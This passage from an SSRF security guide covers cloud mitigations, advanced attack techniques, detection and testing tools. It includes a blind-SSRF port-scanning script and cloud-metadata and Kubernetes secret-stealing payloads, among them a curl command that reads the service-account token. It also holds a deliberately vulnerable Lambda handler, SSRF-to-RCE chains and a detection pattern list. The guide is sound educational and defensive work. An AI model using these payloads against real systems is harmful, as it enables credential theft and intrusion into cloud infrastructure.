    if resp.StatusCode >= 300 && resp.StatusCode < 400 {
        return "", fmt.Errorf("redirects not allowed")
    }

    // Limit response size
    maxSize := int64(10 * 1024 * 1024) // 10MB
    body, err := io.ReadAll(io.LimitReader(resp.Body, maxSize))
    if err != nil {
        return "", err
    }

    return string(body), nil
}

Cloud-Specific Mitigations

AWS IMDSv2

Enforce IMDSv2 which requires a session token obtained via PUT request. This prevents most SSRF attacks against the metadata service.

bashaws_imdsv2_enforce.sh
# Enforce IMDSv2 on EC2 instances
aws ec2 modify-instance-metadata-options \
    --instance-id i-1234567890abcdef0 \
    --http-tokens required \
    --http-put-response-hop-limit 1

# Launch template with IMDSv2
aws ec2 create-launch-template \
    --launch-template-name my-template \
    --launch-template-data '{
        "MetadataOptions": {
            "HttpTokens": "required",
            "HttpPutResponseHopLimit": 1
        }
    }'

Network-Level Protections

yamlkubernetes_network_policy.yaml
# Kubernetes Network Policy to block metadata access
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-metadata
spec:
  podSelector: {}
  policyTypes:
  - Egress
  egress:
  # Allow DNS
  - to:
    - namespaceSelector: {}
    ports:
    - protocol: UDP
      port: 53
  # Block metadata endpoint
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32
        - 10.0.0.0/8
        - 172.16.0.0/12
        - 192.168.0.0/16

Defense in Depth

Combine application-level validation with network-level controls. Even if one layer fails, others provide protection. Monitor and alert on suspicious outbound connections.

7.Advanced Topics

This section covers advanced SSRF scenarios including blind exploitation, second-order vulnerabilities, and SSRF in modern cloud-native architectures.

Time-Based Blind SSRF

When you can't see responses, use timing analysis to infer information:

pythonblind_ssrf_timing.py
import requests
import time
import statistics

def time_based_port_scan(base_url, target_ip, port):
    """
    Use timing to detect open ports in blind SSRF
    Open ports typically respond faster than filtered/closed ports
    """
    timings = []

    for _ in range(5):  # Multiple samples for accuracy
        payload = f"{base_url}?url=http://{target_ip}:{port}/"

        start = time.time()
        try:
            requests.get(payload, timeout=10)
        except requests.exceptions.Timeout:
            timings.append(10.0)  # Timeout value
        except Exception:
            pass
        elapsed = time.time() - start
        timings.append(elapsed)

    avg_time = statistics.mean(timings)
    std_dev = statistics.stdev(timings)

    # Analysis:
    # Open ports: fast response (< 1s)
    # Closed ports: immediate rejection or timeout
    # Filtered: timeout (10s)

    if avg_time < 1.5 and std_dev < 0.5:
        return "OPEN"
    elif avg_time > 8:
        return "FILTERED"
    else:
        return "CLOSED"

# Scan common ports
target = "192.168.1.100"
common_ports = [22, 80, 443, 3306, 6379, 8080]

for port in common_ports:
    status = time_based_port_scan("http://vulnerable.com/fetch", target, port)
    print(f"Port {port}: {status}")

Second-Order SSRF

Second-order SSRF occurs when user input is stored and later used in a server-side request without the user's direct interaction.

Hidden Danger

Second-order SSRF is often overlooked because the injection point and exploitation happen at different times and locations in the application.

javascriptsecond_order_ssrf.js
// Example: User profile with avatar URL

// Step 1: User sets avatar URL (stored in database)
POST /api/profile/update
{
  "avatar_url": "http://169.254.169.254/latest/meta-data/"
}

// Step 2: Later, admin views user profile
// Application fetches avatar URL server-side to generate thumbnail
GET /api/admin/users/123

// Server-side code:
async function generateThumbnail(user) {
  // VULNERABLE: Fetches user-controlled URL
  const avatarUrl = user.avatar_url;
  const response = await fetch(avatarUrl);
  const image = await response.buffer();
  return createThumbnail(image);
}

// SSRF is triggered when admin views the profile!

SSRF in Microservices

Cloud-native architectures introduce new SSRF attack surfaces:

Kubernetes Service Discovery

In Kubernetes, services can be accessed via DNS:

text

1# Internal service discovery
2http://service-name.namespace.svc.cluster.local
3
4# Default namespace
5http://kubernetes.default.svc.cluster.local
6
7# Accessing Kubernetes API
8http://kubernetes.default.svc.cluster.local/api/v1/namespaces
9http://kubernetes.default.svc.cluster.local/api/v1/secrets
10
11# With service account token
12curl -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
13  https://kubernetes.default.svc.cluster.local/api/v1/namespaces/default/secrets

SSRF to RCE Chains

SSRF can be chained with other vulnerabilities for maximum impact:

SSRF → Redis → RCE

Use gopher protocol to send Redis commands, write web shell to disk, achieve RCE

SSRF → Elasticsearch → RCE

Access Elasticsearch API, exploit known CVEs, execute arbitrary code

SSRF → Kubernetes API → Container Escape

Access K8s API with service account token, create privileged pod, escape to host

SSRF → XXE → File Read → Credential Theft

Trigger XML parsing on internal service, exploit XXE, read sensitive files

SSRF in Serverless Functions

Serverless environments have unique SSRF risks:

pythonlambda_ssrf.py
# AWS Lambda function vulnerable to SSRF
import json
import urllib.request

def lambda_handler(event, context):
    # User-controlled URL from API Gateway
    url = event.get('queryStringParameters', {}).get('url')

    # VULNERABLE: No validation
    response = urllib.request.urlopen(url)
    data = response.read()

    return {
        'statusCode': 200,
        'body': json.dumps(data.decode())
    }

# Exploitation:
# GET /function?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/lambda-role

# Lambda's IAM role credentials are exposed!
# Attacker can now access all resources the Lambda has permissions for

Serverless Risks

Serverless functions often have elevated permissions to access cloud resources. SSRF in serverless can lead to privilege escalation and widespread access to cloud infrastructure.

Monitoring and Detection

Implement monitoring to detect SSRF attempts:

pythonssrf_detection.py
# Log and alert on suspicious patterns

import logging
from dataclasses import dataclass
from typing import List

@dataclass
class SSRFIndicator:
    pattern: str
    severity: str
    description: str

SSRF_INDICATORS: List[SSRFIndicator] = [
    SSRFIndicator("169.254.169.254", "CRITICAL", "AWS/Azure metadata access"),
    SSRFIndicator("metadata.google.internal", "CRITICAL", "GCP metadata access"),
    SSRFIndicator("127.0.0.1", "HIGH", "Localhost access"),
    SSRFIndicator("localhost", "HIGH", "Localhost access"),
    SSRFIndicator("192.168.", "HIGH", "Private IP range"),
    SSRFIndicator("10.", "HIGH", "Private IP range"),
    SSRFIndicator("file://", "CRITICAL", "File protocol"),
    SSRFIndicator("gopher://", "HIGH", "Gopher protocol"),
    SSRFIndicator("dict://", "MEDIUM", "Dict protocol"),
]

def detect_ssrf_attempt(url: str) -> List[SSRFIndicator]:
    """Detect potential SSRF in URL"""
    detected = []
    url_lower = url.lower()

    for indicator in SSRF_INDICATORS:
        if indicator.pattern.lower() in url_lower:
            detected.append(indicator)
            logging.warning(
                f"SSRF attempt detected: {indicator.description}",
                extra={
                    'url': url,
                    'severity': indicator.severity,
                    'pattern': indicator.pattern
                }
            )

    return detected

# Usage in your application
def process_url(url):
    indicators = detect_ssrf_attempt(url)

    if any(i.severity == "CRITICAL" for i in indicators):
        # Block and alert
        raise SecurityException("SSRF attempt blocked")

    if indicators:
        # Log for investigation
        logging.warning(f"Suspicious URL processed: {url}")

    # Continue with validation...

Security Operations

Set up alerts for: unusual outbound connections, requests to metadata IPs, failed connection attempts to internal IPs, and suspicious User-Agent patterns from internal services.

8.Tools & Resources

This section provides a curated list of tools, resources, and references for SSRF testing and prevention.

Testing Tools

Burp Suite

Industry-standard web security testing platform with SSRF detection capabilities.

• Burp Collaborator for out-of-band detection
• Active/passive SSRF scanning
• Custom extensions available

ffuf

Fast web fuzzer for discovering SSRF endpoints and testing bypasses.

• URL parameter fuzzing
• Header injection testing
• Response analysis

SSRFmap

Automated SSRF exploitation tool with multiple protocol support.

• Cloud metadata enumeration
• Gopher/dict protocol support
• Bypass payload generation

interact.sh

Out-of-band interaction server for blind vulnerability detection.

• DNS/HTTP callback detection
• Free hosted service
• Self-hosted option available

Security References

OWASP SSRF Prevention Cheat Sheet

https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html

PortSwigger Web Security Academy

https://portswigger.net/web-security/ssrf - Interactive labs and learning materials

HackerOne SSRF Reports

https://hackerone.com/hacktivity?querystring=ssrf - Real bug bounty reports

AWS Security Best Practices

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html - IMDSv2 documentation

Summary

Server-Side Request Forgery remains one of the most impactful web security vulnerabilities. This guide has covered:

✓Understanding SSRF mechanics and attack vectors
✓Detection and identification methodologies
✓Exploitation techniques and bypass methods
✓Real-world examples and case studies
✓Prevention strategies across languages
✓Advanced topics and modern architectures

Remember: defense-in-depth is key. No single control is perfect. Combine application validation, network segmentation, least privilege, and continuous monitoring for effective SSRF prevention.